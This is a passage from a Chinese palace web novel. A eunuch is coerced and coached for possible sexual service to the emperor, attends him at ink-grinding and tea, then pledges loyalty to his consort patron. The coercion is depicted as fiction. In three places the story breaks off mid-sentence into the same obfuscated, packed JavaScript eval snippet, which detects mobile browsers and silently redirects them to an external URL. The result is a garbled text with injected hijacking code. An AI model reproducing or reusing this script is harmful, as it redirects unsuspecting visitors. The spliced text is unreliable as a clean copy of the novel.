这些都是第二本册子里提到过的,关于贴身侍奉的仪注。他说得机械,却完整。 楚玉继续问:“若陛下要你待寝。你当如何?” 最后两个字,她说得很轻。 关禧的指甲深深掐进了掌心,疼痛让他保持着清醒,“当顺从。依……依规矩行事。” “什么规矩?”楚玉追问。 关禧的喉咙像是被什么堵住了。那些第三本册子里的画面在脑中翻涌,带着令人作呕的细节。他张了张嘴,却发不出声音。 昏暗中,他听到楚玉极轻地叹了口气。 然后,她走近一步。两人之间的距离骤然缩短,关禧能闻到她身上那股熟悉的清冽气息,也能感觉到她目光的落处。 “回答我。”楚玉的声音近在耳畔,比刚才更低更清晰,“陛下若要你侍寝,你当如何?第一步,做什么?若陛下要你主动,你当如何?若陛下有特殊喜好,你当如何应对?画册第三页,第七页,第九页·……那些姿态,你可记住了?可能做得出来?” 每一个问题,都像一把刀子,剖开关禧勉强维持的镇定,露出里面血淋淋的恐惧和抗拒。 “我……”关禧的声音颤抖起来,“我做不到……楚玉,我……” “做不到也得做!”楚玉突然打断他,声音陡然转冷,“你以为这是儿戏?这是娘娘给你的机会,是陛下可能会临幸你的流程!你若连这都学不会,做不来,那你之前所有的忍耐,所有的调理,所有的准备,都成了笑话!” 她一把抓住关禧的手腕,力道很大,将他拽到桌边,另一只手“啪”地一声拍在桌上那本深褐色的皮册上。 “翻开!告诉我,第三页画的是什么?具体步骤如何?陛下若那样要求,你该怎么配合?” 关禧被她拽得踉跄,手腕生疼。他看着桌上那本在昏暗中更显狰狞的册子,胃里又开始翻搅。 “不……我不看……”他试图挣扎,向后退。 楚玉死死抓着他,将他按在桌边,另一只手已经粗暴地翻开了册子。昏暗中,那些暖昧浓艳的画面依稀可辨。 “看!”她命令道,声音又冷又硬,“给我看清楚!记牢了!你以为陛下会有耐心等你慢慢学?等你扭扭捏捏?你若在御前露了怯,坏了陛下的兴致,你以为会是什么下场?!” 关禧被迫看着那些画面,强烈的恶心和屈辱感让他眼前发黑,浑身发抖。他用力,挣脱了楚玉的手,向后退去,背脊撞上墙壁,发出沉闷的声响。 “我说了我做不到!”他吼道,声音因为激动而嘶哑,“我是个……我是个女人!你让我怎么去做那些……那些恶心的事?!去伺候一个男人?!楚玉,你杀了我吧!你现在就杀了我!总好过……” “女人?”楚玉逼近一步,“你现在是什么女人?你看看你自己!你有女人的身体吗?你能生出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014802|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子吗?在这宫里,在这天下人眼里,你只是个太监!是个不男不女的阉人!陛下要的,就是这样的你!” 她的话像淬了毒的鞭子,狠狠抽在关禧最痛的地方。 “就算你骨子里是个女人,那又怎样?你现在用的是男人的身子!残缺的男人的身子!这就是你的命!你改变不了!要么认命,学会怎么用这身子活下去,甚至活得比别人好一点!要么,你就继续这样,等死,或者等我哪天不耐烦了,亲手了结你!” 关禧贴着墙壁,滑坐在地上,蜷缩成一团,肩膀颤抖着,眼泪汹涌而出。 楚玉站在他面前,胸口微微起伏。昏暗中,看不清她脸上的表情,只有那双眼睛,在窗外渗入的微光里,闪烁着复杂难辨的光。 良久,她蹲下身,与关禧平视。 “小离子,”她叫他的名字,声音很轻,“我知道你难受,知道你恶心,知道你恨不得自己从没来过这世上。” “可我们已经在这里了。”她伸出手,指尖轻轻触碰到关禧潮湿的脸颊,替他抹去一滴泪,“没有退路。娘娘把你推到这里,陛下对你有了兴趣,这就是现实。抗拒,除了让你自己更痛苦,更快走向绝路,没有任何用处。” 她的指尖用力,抬起关禧的下巴,迫使他看向自己。 昏暗中,两人的目光相对。 “听我说,”楚玉的语气软了下来,不再那么冰冷严厉,“那些画,那些姿态,不是要你去享受,甚至不是要你去感受。那只是一项差事,一项你必须完成的、肮脏的差事。就像膳房的太监要杀鸡宰鱼,就像净房的太监要倒夜香。只不过,你的差事,是在龙床上。” “把它当成差事。剥离你的感觉,你的情绪,你的灵魂。让这具身体去完成它该完成的动作,就像操控一个提线木偶。陛下要什么,你就给什么。他满意了,你就能活,甚至可能得到赏赐,得到一点喘息的空间。” “在这个过程中,保护好你自己。画册里有些姿势容易受伤,有些地方要格外注意。记住它们,避开它们。如果避不开……就忍着。但至少,要知道怎么忍,才能伤得最轻。” 关禧怔怔地看着她,眼泪流淌。 差事。只是一项差事。 多么冷酷,多么现实,又多么……有效。 是啊,如果他不再把这当成某种亲密或屈辱的仪式,而仅仅是一项为了活下去必须完成,恶心的工作呢?就像她说的,杀鸡宰鱼,倒夜香。只不过地点换在了龙床,对象换成了天子。 灵魂可以抽离吗?可以将这具身体的感知封闭起来吗? 他不知道。但他似乎……别无选择。 “我……”他开口,声音沙哑,“我试试……” 楚玉看着他眼中那点微弱的光芒,松开了手,站起身,走到桌边,拿起了那本深褐色的皮册。然后,在关禧惊讶的目光中,她走到屋角的炭盆边,掏出火折子,吹亮。 橘红的火苗蹿起,照亮了她半边沉静的侧脸。 她将手中的皮册,凑到了火苗上。 纸张极易燃烧,火舌瞬间舔舐上去,迅速蔓延。浓烟和焦糊味在屋内弥漫开来,那些不堪入目的画面在火焰中扭曲,卷曲,化为灰烬。 关禧呆呆地看着。 楚玉将燃烧的册子丢进炭盆,看着它彻底被火焰吞噬,才转过身,看向关禧。 “这本,不必留了。”她的声音恢复了平淡,“该记住的,你已经记住了。剩下的,是随机应变。陛下是人,不是画册,不会有固定的套路。你需要学的,是如何察言观色,如何顺势而为,如何在最糟糕的情形下,给自己争取一点点余地。” 她走回桌边,拿起另外两本册子,递给关禧:“这两本,收好。规矩和基本的技巧,不能忘。” 关禧接过册子,指尖触及绢面和锦缎,冰凉。 “明日晚膳后,西暖阁。”楚玉最后说道,“我会教你,如何将那些画里的东西,变成你能做出的动作。不是真的,只是……演练。” 说完,她不再停留,转身拉开门,身影融入门外沉沉的夜色中。 45.第 46 章 接下来的两天,风平浪静。 冯昭仪没有再召见关禧,楚玉也没有再出现。只有陈立德来过一次,神色如常地交代了些书斋的琐事,好像那晚西暖阁的教导只是一场寻常的差事,早已完结。 关禧照常去书斋当差,核对账目,整理文书。只是偶尔,他会停下笔,望着窗外发呆,指尖无意识地在粗糙的纸面上摩挲。 夜里,他躺在那张狭窄的床上,会无可避免地想起暖阁里的一切。楚玉的喘息,她身体的温度,她眼中被情欲淹没的迷离,以及最后那冰封般的疲惫。 那些画面与第三本画册里不堪入目的场景重叠,又截然不同。画册里只有技巧和屈辱,而暖阁里……有温度,有疼痛,有失控,还有一种将两人一同拖入深渊的紧密联结。 他唾弃自己这具身体的反应,唾弃那晚的失控,更唾弃心底某处,竟因那短暂的结合而生出不该有的悸动和占有欲。 但更多的时候,是一种沉甸甸的茫然。 楚玉为什么要做到那一步?仅仅是为了教导他如何侍寝?还是……有别的,连她自己都未必明白,或者不愿承认的原因? 而他自己,接下来又该如何? 三日的期限,像悬在头顶的铡刀,正在倒数。 第三日,午后。 日影透过书斋的茜纱窗,在地上投下一片模糊的菱形光斑,空气中浮动的尘埃清晰可见。 关禧正伏在案前,笔尖悬在一份誊录了一半的秋季衣料支领清单上,墨迹将干未干。他的姿态看似专注,脊背挺得笔直,握着紫毫笔的手指却有些僵硬,指尖发白。 门外传来急促的脚步声,停在门口。 陈立德的身影出现在门边,他今日的脸色不同寻常,不是平日的刻板或偶尔的圆滑,他甚至没有像往常那样先咳一声,目光直接落在关禧身上。 “小离子,放下手里的活,即刻收拾一下,随我去乾元殿。” 乾元殿。 皇帝日常起居理政的所在。 关禧握着笔的手指一顿,一滴饱满的墨汁顺着笔尖滴落,在雪白的宣纸上泅开一小团突兀的污迹。他缓缓抬起眼,看向陈立德,脸上没什么表情,只有睫毛在午后明亮的光线中投下浅浅的阴影,颤动着。 “是,陈公公。”他搁下笔,站起身,将誊录到一半的清单仔细用镇纸压好,又整理了一下身上那套浆洗得干净挺括的靛青色太监服,这是他今日特意换上的,料子比平日那套略厚实些,颜色也更深,几乎接近鸦青,衬得他脸色愈发苍白,也将那股介于少年与青年之间的清冷轮廓勾勒得更加分明。 陈立德快速打量了他一眼,目光在他脸上停留了一瞬,似乎想说什么,终究只是动了动嘴角,低声道:“机灵些。跟上。” 没有多余的交代,没有临行前的嘱咐。一切尽在不言中。 关禧垂着眼,跟在陈立德身后半步,走出了书斋。 午后的阳光铺天盖地洒下来,带着秋日特有的干爽和一丝不易察觉的凉意,落在承华宫朱红的廊柱和金色的琉璃瓦上,晃得人有些眼花。 他走在熟悉的回廊上,每一步都踏得实实的,脚下的青石板传来坚硬的触感。路过西暖阁所在的院落时,他目不斜视,只有袖中的手指悄然蜷缩,指甲抵着掌心。 穿过后院,走向通往乾元殿的宫道时,气氛明显不同了。巡逻的侍卫增多,穿着石青色曳撒的高阶内侍步履匆匆,神色肃穆。空气里弥漫着一种无形的紧绷感,连风声似乎都收敛了许多。 陈立德走得很快,关禧紧跟其后,低着头,视线只及前方之人的靴跟。 沿途有许多目光落在关禧身上,带着审视,好奇,估量,或是不加掩饰的打量。 乾元殿巍峨的轮廓出现在视野尽头。不同于后宫宫殿的精致华丽,这座帝王居所更显庄严肃穆,重檐庑殿顶在秋阳下泛着暗金色光泽,汉白玉的基座高大宽阔,殿前广场上立着铜龟铜鹤。 陈立德在殿前广场的边缘停下,这里已有数名同样穿着石青色曳撒的太监垂手侍立。他上前与其中一位面白无须,眉眼细长的中年太监低声交谈了几句,那太监的目光随即向关禧扫来,然后点了点头。 “在此候着。”陈立德退回来,对关禧低声嘱咐了一句,便站到了一旁,眼观鼻鼻观心,不再看他。 关禧独自站在原地,垂手肃立。 秋日的风穿过空旷的广场,卷起他鸦青色袍服的一角,带来阵阵凉意,他抬眸,望向那雕刻着繁复龙纹的殿门。 门扉厚重,漆色深暗。门内,就是那位掌握着生杀予夺大权,也将决定他此后命运的年轻帝王,萧衍。 时间在无声的等待中流逝,每一息都被拉得极长,殿内隐约传来极低的说话声。 关禧的思绪有些飘忽,他想起了停尸房的冰冷草席,想起了净舍的疼痛和恐惧,想起了楚玉在浴堂门口提着的那盏灯,想起了西暖阁甜靡暖香中那双染上情欲,深褐色的眼。 然后,他强迫自己将所有这些都压回心底最深处。 现在,他是小离子,承华宫书斋一个识得几个字,做事还算仔细的小太监。他即将面圣,去御前伺候笔墨。仅此而已。 “宣——承华宫太监小离子,觐见——” 殿内传来一声清晰的通传,在寂静的广场上回荡。 关禧深吸一口气,垂着头,跟在一位引路太监身后,迈上了那高高的汉白玉台阶。 跨过高高的门槛,一股混合着龙涎香墨香,以及某种难以言喻的威严气息扑面而来。 殿内光线比外面稍暗。鎏金蟠龙柱支撑着高阔的穹顶,地上铺着光亮可鉴的金砖,御座设在层层丹墀之上,明黄色的帷幔低垂。此刻御座上无人,侧边的紫檀木大书案后,一个身着杏黄常服的年轻男子正低头批阅奏章。 正是皇帝萧衍。 他比关禧上次在承华宫惊鸿一瞥时看得更清楚些。侧面看去,鼻梁高挺,下颌线条清晰,肤色是久居室内不见烈日的白皙。握着朱笔的手指修长有力,腕骨突出。他批阅得很快,偶尔蹙眉,偶尔提笔写下批注,神情专注而淡漠,周身笼罩着一层无形的威压,让这宽阔的殿宇都显得逼仄。 引路太监示意关禧在距离书案丈许远的地方停下,跪下。 关禧依言跪下,额头触地,屏住呼吸,维持着最恭顺的姿态。 殿内只有朱笔划过纸面的沙沙声,以及更漏滴滴答答的轻响。 不知过了多久,或许只是一盏茶的时间,或许更久。那沙沙声停了。 萧衍搁下笔,抬手揉了揉眉心,然后,目光转向下方。 “抬起头来。”声音不高,听不出什么情绪。 关禧抬头,视线恭敬地落在萧衍胸前杏黄色常服绣着的暗纹龙爪上,不敢再往上。 “走近些。”萧衍又道。 关禧起身,垂首向前走了几步,在距离书案三四步远的地方重新跪下。这个距离,他能更清晰地感受到来自御座方向的压迫感,也能闻到更浓郁的龙涎香气,混合着萧衍身上一种类似冷冽松针的气息。 “冯昭仪说,你书斋的差事做得仔细,字也写得端正。今日送来的这批奏章摘要,是你整理的?” 关禧这才注意到,萧衍手边除了待批的奏章,还有一沓用整齐楷书誊录的纸张,正是他这几日在书斋奉命整理的各地奏报摘要,将冗长的奏章提炼出要点,方便御览。 “回陛下,是奴才誊录的。”关禧谨慎答道,声音控制得平稳,属于少年人的清润。 “嗯。”萧衍应了一声,指尖在那沓摘要上点了点,“条理尚可。这里,淮北水患,巡抚请拨粮二十万石,后面标注了去岁淮北存粮数与今春播种种量……是你自己查的旧档?” “是。奴才想着,陛下或需知晓往年情形以作参详,便斗胆查了去岁相关记录,附注于后。”关禧心跳加快,这确实是他自作主张加上的,不知是福是祸。 萧衍沉默了片刻,目光在他低垂的头顶停留了一瞬。 “倒是有点心思。”语气平淡,听不出褒贬,“起来吧。过来,磨墨。” 关禧依言起身,走到紫檀木书案侧前方。那里设有一张稍矮的酸枝木小几,上面放着端砚,墨锭,清水盂等物。他挽起袖子,露出半截白皙的手腕,先往砚台中注入少许清水,然后取过那块御用的龙香墨锭,一手稳住砚台边缘,另一手三指捏住墨锭,力道均匀地开始研磨。 这是他练习过无数遍的动作。手腕要稳,力道要匀,速度要不疾不徐,研磨出的墨汁需浓淡适中,细腻无渣。他做得极其专注,仿佛天地间只剩下手中这方砚,这块墨。鸦青色的袖口随着动作微微晃动,露出一截皓腕,与深色的衣袖形成对比。 萧衍重新拿起朱笔,目光落在奏章上,并未看他。但关禧能感觉到,那道淡漠的视线,偶尔会掠过他研磨的手,他低垂的侧脸,他随着呼吸起伏的肩线。 殿内再次安静下来,只有墨锭与砚台摩擦发出的极细微的沙沙声,和更漏滴答。 时间缓缓流淌。关禧始终保持着同样的姿势和节奏,手腕开始发酸,却不敢有丝毫松懈。额角渐渐沁出细密的汗珠,顺着鬓角悄悄滑落。 许久,萧衍批完了一本奏章,随手放下。他身体向后,靠在宽大的紫檀木椅背上,指尖在扶手上轻轻敲击了两下,目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022940|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次投向关禧。 “停下吧。” 关禧立刻停下动作,将墨锭小心放回原位,垂手肃立。 “会烹茶吗?”萧衍问。 “奴才……略知一二。”关禧谨慎答道,在承华宫,楚玉偶尔会让他试着煮过,冯昭仪对茶道颇为讲究,他耳濡目染,记下了一些步骤。 “去,把那套雨过天青的茶具取来,烹一壶龙团胜雪。”萧衍指了指殿内东侧的多宝阁。 关禧应声,走到多宝阁前。上面陈列着各式珍玩,他一眼就看到了那套雨过天青色的瓷质茶具,釉色温润如玉,在殿内光线下流转着淡淡的光华。他小心翼翼地将茶壶,茶杯,茶盏等一一取出,放在一个托盘上,又找到了装有龙团胜雪茶饼的锡罐。 回到书案旁,他先净了手,然后用特制的小银刀从茶饼上撬下适量茶末,投入温过的壶中。接着是煮水,殿角的小红泥炉上坐着银铫子,水已微沸。他提起铫子,先以沸水快速冲洗一遍茶具,然后将适量热水注入壶中,片刻后倒掉,此为醒茶。再次注水,这次的水温,水量,注水的手法都需讲究。 关禧凝神静气,手腕轻提,让水流如丝般缓缓落入壶心,茶叶在壶中舒展翻滚,一股清冽高雅的香气随之弥漫开来。 他的动作算不上多么行云流水,却足够沉稳细致,鸦青色的身影在御前晃动,衬得那摆弄茶具的素白手指格外醒目。 萧衍靠在椅背上,静静看着。他的目光比刚才更加直接,不再掩饰打量和评估。从关禧低垂的眼睫,到挺直的鼻梁,到抿起的唇,再到那截随着动作时隐时现的白皙后颈,最后落在他烹茶的手上,手指修长,骨节分明。 茶香渐浓。 关禧将烹好的茶汤斟入天青色的盏中,汤色清澈,犹如初雪融化。他双手捧起茶盏,躬身奉到萧衍面前。 “陛下请用茶。” 萧衍接过茶盏,指尖不可避免地与关禧的手指有了一瞬极轻微的触碰。关禧像是被烫到般迅速缩回手,垂得更低。 萧衍仿佛未觉,端起茶盏,先观色,再嗅香,最后才啜饮一口。 “尚可。”他放下茶盏,评价依旧简短。 关禧心头微松,躬身退到一旁。 萧衍的目光重新落在关禧身上,这一次,停留的时间更长,也更沉。 “王元宝当初挑人进宫,倒有几分眼光。”他忽然开口,语气似是随意,“你这张脸,生得确实不错。” 关禧喉咙发紧,不知该如何回应,只能将头埋得更低:“陛下谬赞。” “谬赞?”萧衍轻笑了一声,那笑声很短,没什么温度,“抬起头,看着朕。” 关禧的喉结滚动了一下。他极其缓慢地抬起头,视线被迫上移,掠过明黄的衣襟,绣金的龙纹,最终,对上了萧衍的眼睛。 那是一双颜色偏深的眸子,眼尾微微下垂,看人时显得疏离。此刻,这双眼睛里清晰地映出关禧苍白而难掩精致的脸,也映出他眼中无法完全掩饰的紧张,以及深处那一丝竭力压制的抗拒。 四目相对。 萧衍细细描摹着关禧脸上的每一寸轮廓,就像在鉴赏一件器物,评估其成色和价值。那目光里没有情欲,至少没有世俗意义上的情欲,更像是一种对所有物的审视,一种对特别之物的兴趣。 “怕朕?”萧衍问。 关禧的睫毛颤抖了一下,声音干涩:“陛下天威……奴才惶恐。” “惶恐……”萧衍重复了一遍,指尖在扶手上轻轻敲击,“冯昭仪将你调理得不错。身子看着是大好了。” 这话意有所指。 “是托陛下洪福,娘娘恩典。”关禧机械地回答。 萧衍不再说话,继续看着他。那沉默比任何话语都更具压迫感。关禧僵立在原地,感觉时间从未如此难熬,每一息都像是在火上炙烤。 良久,萧衍终于移开了目光,重新投向书案上的奏章,仿佛刚才那番审视只是兴之所至。 “下去吧。”他淡淡吩咐,“明日申时,再来伺候笔墨。” 关禧如蒙大赦,立刻躬身:“奴才遵旨,奴才告退。” 他保持着躬身的姿态,一步步向后退去,直到退出殿门,重新踏入秋日午后的阳光里,才感觉那扼住喉咙的无形之手稍稍松开。冷汗早已浸透了内衫,黏腻地贴在背上,被风一吹,冰凉刺骨。 引路的太监还在外面等候,见他出来,还是那副面无表情的样子,领着他走下丹墀。 回承华宫的路上,关禧脚步虚浮,脑子里纷乱一片。萧衍最后那个眼神,那句“明日申时再来”,像烙印般刻在心头。 明日……还要去。 46.第 47 章 离承华宫宫门还有一段距离,关禧便察觉到了异样。 平日里这个时辰,宫门处除了值守的太监,多半是安静或仅有几人低声交谈。可今日,宫门附近的回廊下,檐角后,甚至远处的花圃边,影影绰绰地聚着不少人,目光或明或暗地,都朝着他回来的方向瞟。 待他走近,那些原本散在各处忙碌或歇脚的太监们,约好了般,渐渐围拢过来。 率先迎上来的是刘宝,脸上堆着比往日更夸张三分的笑容,老远就拱手:“哎哟,咱们的离子兄弟回来了!瞧瞧这气色,这精神头,不愧是去过乾元殿,见过大世面的!” 他这一嗓子,像是打开了闸门。平日里与关禧不过点头之交,甚至有些面生的太监,也都挤上前来,七嘴八舌: “离子哥,快给咱们讲讲,乾元殿里头什么样?陛下的龙书案是不是镶金的?” “陛下天颜如何?可曾问起咱们承华宫?离子兄弟这回可是在御前露了脸,往后飞黄腾达,可别忘了提携提携兄弟们!” “就是就是!离子兄弟这通身的气派,一看就是贵人相!陛下定然是赏识的!” “听说陛下还让离子哥烹茶了?那可是天大的恩典!离子哥真是心灵手巧!” 恭维,试探,羡慕,嫉恨……种种情绪混杂在那些过分热切的话语和眼神里,像一张密不透风的网,将关禧裹在中央,他能闻到这些人身上散发的汗味,能看到他们眼中毫不掩饰的对一步登天可能性的渴望。 被围在中间,耳边嗡嗡作响,那些话语像隔着一层水传来,模糊而嘈杂,他脸上没什么表情,还是那副苍白沉静的模样,只是蹙起的眉心和略显僵硬的站姿,泄露了他此刻的厌烦。 他试图挪动脚步,想从人堆里挤出去,回到他那间至少能暂时隔绝喧嚣的小屋。但刘宝等人堵得严实,嘴上不停,身体有意无意地挡着他的去路。 “各位公公,”关禧终于开口,“奴才不过是奉娘娘之命,去御前听候差遣,做了分内之事,实在当不起各位如此抬爱。陛下天威难测,奴才唯有惶恐,不敢妄言。还请各位行个方便,奴才需去向娘娘复命。” 他话说得谦卑,语气却疏离,将陛下天威和向娘娘复命抬了出来,试图划清界限,也提醒这些人适可而止。 可在可能攀上高枝的诱惑前,这点委婉的拒绝显得苍白无力。 刘宝嘿嘿一笑,伸手想拍关禧的肩膀,被关禧不着痕迹地侧身避开,他也不恼,继续道:“离子兄弟就是太谦虚!复命不急在这一时嘛,咱们兄弟也是关心你,为你高兴!你这一去,可是给咱们承华宫挣了脸面!回头娘娘肯定也有赏赐!到时候可要请咱们喝杯酒水啊!” 旁边有人附和:“对对对!离子哥,日后在御前得了好,手指缝里漏点,就够咱们感恩戴德了!” 关禧的眉头蹙得更紧,指尖在袖中悄悄蜷起,这些人的嘴脸,比乾元殿里皇帝的审视更让他感到一种黏腻的恶心。 一个清冷的声音,像冰棱划破喧嚣,在不远处响起: “都围在这里做什么?差事都做完了?” 人群瞬间一静,像被掐住了脖子的鸡鸭,讪讪地分开一条道。只见楚玉不知何时已站在回廊的拐角处,依旧是一身淡青色宫装,发髻梳得一丝不苟,脸上没什么表情,手里拿着一卷用锦带系着的文书,像是刚从什么地方过来。 “娘娘正等着小离子回话。”楚玉淡淡道,语气听不出喜怒,“刘宝,前院东侧廊下的地砖松动了三处,你可查验报修了?还有你们,”她目光扫过其他几个探头探脑的太监,“该洒扫的去洒扫,该值守的去值守,聚在这里嚼舌头,是想去慎刑司喝茶?” 几句话,轻描淡写,却让众人脊背一凉。 刘宝等人连忙躬身赔笑:“青黛姐姐恕罪,咱们就是……就是替离子兄弟高兴,这就散了,这就去干活!”说着,再不敢多留,一溜烟地作鸟兽散。 人群散去,方才的喧嚣瞬间沉寂,只余下秋风穿过空荡回廊的细微声响。 关禧站在原地,看向楚玉。她站在几步开外,廊下的阴影将她半边身子笼罩,看不太清神情。 “走吧。”楚玉没多看他,转身,朝承华宫深处走去,步履平稳,“娘娘在西暖阁。” 关禧抿了抿唇,默默跟上。 两人一前一后,隔着不远不近的距离,走在午后寂静的宫道上。脚步声在青石板上发出轻响,彼此可闻,却无人开口。 阳光斜照,将两人的影子拉得长长,时而交叠,时而分开。关禧看着前方楚玉挺直略显单薄的背影,那身淡青色的衣裙在光线下显得有些清冷。他想起那晚暖阁里,那身海棠红色衣裙如何被揉皱褪下,想起她散乱的长发,迷离的眼,以及最后那冰封般的疲惫和那句“忘掉”。 喉咙有些发干,心头像堵着一团乱麻。乾元殿的紧张,归来后的围堵,此刻与楚玉独处的微妙……种种情绪交织翻涌。他知道,有些话必须说,哪怕可能不合时宜,哪怕会再次触碰到两人之间的禁忌。 他加快半步,走到与楚玉并肩的位置,声音干涩: “楚玉。” 楚玉脚步未停,侧脸看了他一眼,示意自己在听。 关禧吸了口气,目光落在前方地面的青砖缝隙里,斟酌着词句:“方才……多谢你解围。还有……那天晚上,在西暖阁……我……我很抱歉。” 他终究是说出了“抱歉”这两个字。为那晚的失控,为可能带给她的伤害,也为此刻两人之间这诡异难言的气氛。他不知道楚玉会如何反应,或许会再次用沉默将他推开,或许会干脆否认那晚的一切。 楚玉的脚步顿了一下,又立刻恢复如常。她没有回应。 两人又沉默地走了一段路,绕过一处假山,西暖阁所在的僻静院落已在望。 楚玉忽然开口,声音比刚才少了几分刻意的冷硬: “御前之事,娘娘自会问你。该说的说,不该说的,一个字也别多提。”她像是在交代差事,又补充了一句,语气有些难以捉摸,“陛下既让你明日再去,便是暂无异动。做好你分内的事,其他的……勿要多想。” 她避开了西暖阁的话题,只谈御前。但这已是一种态度的松动,至少,她没有再次用忘掉来斩断一切。 关禧还欲再言,楚玉已抬手示意他噤声,西暖阁到了。 院门虚掩,楚玉上前轻轻推开,侧身让关禧先进。 关禧迈步进去,院中那株老桂花树开得正盛,浓郁甜香扑面而来,与记忆中暖阁内甜靡的暖香截然不同,却莫名让他心跳漏了一拍。他不由自主地瞥了一眼西暖阁的门窗,那里静悄悄的,仿佛那晚的激烈只是一场幻梦。 楚玉跟在他身后进了院子,反手将院门掩上,隔绝了外界的视线与声响。她走到西暖阁门前,转过身,面对着关禧。 两人站在桂树的阴影下,花香馥郁,秋阳透过枝叶缝隙,在她脸上投下斑驳的光影。她看着关禧,目光在他有些苍白的脸上停留片刻,极轻地叹了口气。 “进去吧。”她低声道,抬手替他理了理方才被人群挤得微乱的衣领边缘,动作很快,一触即分,“娘娘问什么,便答什么。记住,在娘娘面前,你只是小离子。” 她的指尖触碰带来的凉意,与她话语中那丝几乎难以捕捉近乎叮嘱的意味,让关禧怔了一瞬。他还未来得及细品其中含义,楚玉已转过身,叩响了西暖阁的门扉。 “娘娘,小离子来了。” “进来。” 门内传来冯媛的声音,比平日的温婉多了几分不易察觉的沉。 楚玉推开门,侧身让开关禧,自己并未跟入,只垂眸立在门边,将内里的空间全然留给了冯媛与关禧。 西暖阁内,那日残留的甜靡暖香早已散尽,取而代之的是冯媛惯用的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030356|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 檀香,窗扉半开,泄入天光与微凉的秋风,驱散了最后一丝暧昧的痕迹。 贵妃榻上铺设一新,云锦垫褥光洁平整。 冯媛斜倚在榻上,手里闲闲握着一卷书,身上是一袭家常的藕荷色襦裙,外罩月白比甲,发髻松松挽着,簪一支碧玉簪,看起来慵懒随意,可那双看向关禧的眼睛,却清明锐利,不着痕迹地将他从头到脚扫视了一遍。 关禧跪下行礼:“奴才小离子,给娘娘请安。奉旨前往乾元殿伺候笔墨,特来向娘娘复命。” “起来吧。”冯媛放下书卷,指尖在光滑的紫檀木榻沿上轻轻一点,“陛下……可还满意?” 这话问得轻描淡写,却重若千钧。关禧站起身,垂着眼,将乾元殿中研磨,烹茶,应答的情形拣紧要的,语气平稳地回禀了一遍,末了道:“陛下让奴才明日申时再去伺候。” 冯媛静静听着,脸上看不出什么情绪,待他说完,才“嗯”了一声,“研磨细致,烹茶尚可,应对也算得体。看来这些时日的调理和教导,没有白费。”她顿了顿,目光在他鸦青色的太监服上停留,“这身衣裳,倒是衬你。只是去了御前,终究是素净了些。本宫记得库里还有几匹内造的新料子,颜色更沉稳些,等会让青黛找出来,给你裁两身新的。” “奴才谢娘娘恩典。”关禧躬身,心头无半分喜悦,这恩典是标记,是提醒,更是将他进一步推向那潭深水的助力。 “恩典谈不上,”冯媛端起手边一盏温茶,慢慢抿了一口,眸光透过氤氲的水汽看向他,“是你自己争气。能在御前留下印象,让陛下开口叫你再去,这便是你的造化。只是……”她话锋一转,语气微沉,“造化弄人,也最是考验心性。御前不比承华宫,一言一行,无数双眼睛盯着。今日你回来时的阵仗,想必也见识了。” “奴才明白。奴才定当谨言慎行,绝不敢给娘娘招惹是非。” “是非?”冯媛唇角勾起一抹极淡的弧度,“有时候,是非不是你想避就能避开的。尤其是当你有了旁人没有的造化时。”她放下茶盏,声音更缓,字字清晰,“陛下为何独独留意你?是因为你差事办得好?还是因为王元宝的眼光,因为本宫的调理,因为……你这张脸?” 关禧手指蜷缩,指甲抵住掌心。 “本宫不妨把话说得更明白些。”冯媛坐直了身子,那股慵懒气息散去,属于昭仪的威仪悄然弥漫,“陛下对你有意,这是你的机会,也是你的劫数。用得好,你或许能在这深宫里挣出一条不太一样的前路,连带着承华宫也能多一分倚仗。用得不好,或是心生妄念,或是行差踏错……那便是万丈深渊,粉身碎骨,连本宫也未必拉得住你。” 她盯着关禧的眼睛,不容他躲闪:“本宫最后问你一次,那条路,你是走,还是不走?” 走,便是彻底接受礼物的身份,沿着冯媛与楚玉铺就的阶梯,走向皇帝的龙榻。不走?此刻还有不走的余地吗?乾元殿的传唤已下,无数双眼睛已将他看作即将攀上高枝的贵人,冯媛的布局也已到了关键处。不走,便是废子,下场或许比曹旺之流更不堪。 关禧抬起眼,对上冯媛深邃的目光,他缓缓跪下,这一次,脊背挺得笔直,声音清脆: “奴才愿为娘娘前驱,谨遵娘娘教诲。” 冯媛看着他,良久,轻轻吐出一口气,那口气里似乎卸下了什么,又似乎压上了更重的东西,“很好。”她重新靠回软枕,恢复了那副温婉模样,“记住你今日的话。起来吧。” 关禧起身,垂手肃立。 “青黛。”冯媛唤道。 一直静立在门外的楚玉应声而入,步履无声,淡青色的裙摆拂过光洁的地面。 